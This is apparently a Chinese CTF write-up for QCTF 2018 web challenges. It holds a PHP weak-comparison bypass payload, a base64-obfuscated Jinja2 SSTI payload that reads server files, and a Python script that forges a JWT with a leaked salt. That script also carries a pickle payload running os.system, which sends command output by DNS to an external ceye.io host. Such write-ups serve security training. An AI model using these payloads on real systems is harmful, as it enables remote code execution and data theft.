0x00:比赛介绍

欢迎各位参加QCTF 2018暨第三届XMan夏令营选拔赛!

比赛结束前均可报名参加第三届XMan夏令营,了解具体情况可加微信:XCTF-league!

QCTF由XCTF联赛的合作单位中国海洋大学Blue-Whale战队组织,由赛宁网安提供技术支持。QCTF同时也作为第三届XMan夏令营选拔赛,欢迎小伙伴们参加!本次比赛将采用在线网络安全夺旗挑战赛的形式,面向全国开放。此次比赛将在已经报名第三届XMan夏令营的选手中选拔150名优秀成员参加第三届XMan夏令营。

Blue-Whale战队来自青岛,成立于2012年,以中国海洋大学信息安全实验室为基础,专注于密码与协议、软件漏洞分析、网络渗透测试等方向的学习与研究。战队曾组织过两届青岛高校网络攻防联赛暨国内邀请赛,积极推动山东省高校的CTF竞赛活动。自成立之初,战队始终在信息安全研究的兴趣驱动下,以研究和分享信息安全技术为目标,活跃于各项安全赛事和安全交流活动。


0x01:Lottery

访问robots.txt发现存在.git泄露,恢复代码之后审计,发现在判断是否中奖的时候用的是==,存在弱类型比较

$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
    if($numbers[$i] == $win_numbers[$i]){
        $same_count++;
    }
}

直接传入7个true即可绕过,payload:{"action":"buy","numbers":[true,true,true,true,true,true,true]},刷完分直接购买flag即可.
web1-1.jpg
web1-2.jpg


0x02:NewsCenter

一个无报错回显的注入漏洞,没有waf,直接联合查询查数据库或者sqlmap跑一下就有了.
web2.jpg


0x03:Confusion1

通过主页图片和图片名字猜测可能是python写的.并且登陆和注册界面都是404,猜测可能存在SSTI漏洞.
web3-1.png
并且flag路径在404界面的注释里面.正常情况下读取flag的payload为:

().__class__.__bases__[0].__subclasses__()[40]('./etc/passwd','r').read()

但是在本题中,通过fuzz测试发现class,read等被过滤,绕过的方法使用的是__getattribute__(self,name).所以最后成功读取的payload为:

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__getattribute__([].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__,'X19zdWJjbGFzc2VzX18='.decode('base64'))()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt','r').__getattribute__('cmVhZA=='.decode('base64'))()}}

3.jpg

后面看师傅们的wp发现还可以使用request.cookie绕过.学到了


0x03:Confusion2

首先注册了一个账号登陆(6位验证码真的要跑好久XD),查看一下请求头部,发现Token是由3部分组成,通过' . ' 拼接起来,并且3部分都是被base64编码过的.
第一部分解base64得到:

{"typ":"JWT","alg":"sha256","kid":"47"}

猜测验证方式为JWT(Json Web Tokens),并且加密方式为sha256.
第二部分解base64得到:

{"data":"O:4:\\"User\\":2:{s:9:\\"user_data\\";s:59:\\"(lp1\\nVsheldon\\np2\\naS\'fcfff28fdbbbf75face3b3d97fdbfc15\'\\np3\\na.\\";}"}

中间是一个python pickle序列化后的东西,pickle有一个任意代码执行漏洞,猜测这题是要伪造jwt来达到执行任意代码.
第三部是jwt的签名部分,通过不断的测试,签名部分的加密方式为:

base64(sha256(base64(header).base64(payload)+salt))

而salt可以通过web3中读取salt文件读到,为_Y0uW1llN3verKn0w1t_
所以本题的token完整为:

base64(header).base64(payload).base64(sha256(base64(header).base64(payload)+salt))

我们需要伪造的只有中间部分的payload里面的pickle反序列化,和根据header和payload生成新的jwt签名部分.然后修改cookie即可.写了一个脚本生成新的token:

#!/usr/bin/env python
#coding: utf-8

import cPickle
import os
import base64
import hashlib
class genpoc(object):
    def __reduce__(self):
        s = """ping `whoami`.*****.ceye.io"""  #要执行的命令
        return os.system, (s,)        

e = genpoc()
poc=str(cPickle.dumps(e))
print len(poc)
str_poc=""
for i in poc:
    if i =='\n':
        str_poc+="\\n"
    else:
        str_poc+=i
head = """{"typ":"JWT","alg":"sha256","kid":"47"}"""

salt="_Y0uW1llN3verKn0w1t_"
body = """{"data":"O:4:\\"User\\":2:{s:9:\\"user_data\\";s:%s:\\"%s\\";}"}"""%(len(poc),str_poc)
payload=base64.b64encode(head)+"."+base64.b64encode(body)
payload=payload.replace("=","")
jwt = payload+"."+base64.b64encode(str(hashlib.sha256((payload+salt).encode("utf-8")).hexdigest()))
print jwt.replace("=",'')

由于本题没有回显,所以需要使用dnslog外带数据,我使用的是ceye.
测试命令执行:
web4-1.png
尝试在opt目录读取flag:
web4-2.png


0x05:总结

总体来说,这次选拔赛还是学到了挺多新东西的,八月份XMAN,希望各位大佬们轻点吊打:D